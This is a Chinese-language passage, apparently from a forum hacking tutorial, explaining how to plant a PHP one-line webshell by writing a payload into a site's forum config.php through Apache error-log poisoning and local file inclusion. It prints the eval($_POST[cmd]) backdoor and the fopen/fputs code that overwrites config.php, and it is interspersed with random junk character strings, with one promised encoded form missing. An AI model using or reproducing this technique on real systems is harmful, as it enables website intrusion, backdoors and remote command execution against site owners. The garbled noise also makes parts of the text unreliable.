因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。 " `( A" p& H% h% P( `
' E3 f3 ~# h3 t; L5 d比如还是这句一句话木马
: A, ]% w- u9 o7 C<?eval($_POST[cmd]);?>
: h! m: t; V- s: a2 i3 o9 z% h, S# P+ N$ ]9 o
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句， ) S/ R4 z7 V9 v9 ?1 Q
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 L( {4 F3 A7 E0 X( q, F4 n2 O' x* {
. t9 B3 B3 \$ ^9 j<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); 1 Q3 J2 _. U' W) y7 W
fclose($fp);?> //在config.php里写入一句木马语句 2 O& G- u$ B' t K& H6 ?8 A
0 k, m6 J- C: u$ C' d, x& p
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。 : a; z1 C" M: v" p# o
转换为

这样webshell就写入成功了，config.php里就写入一句木马语句
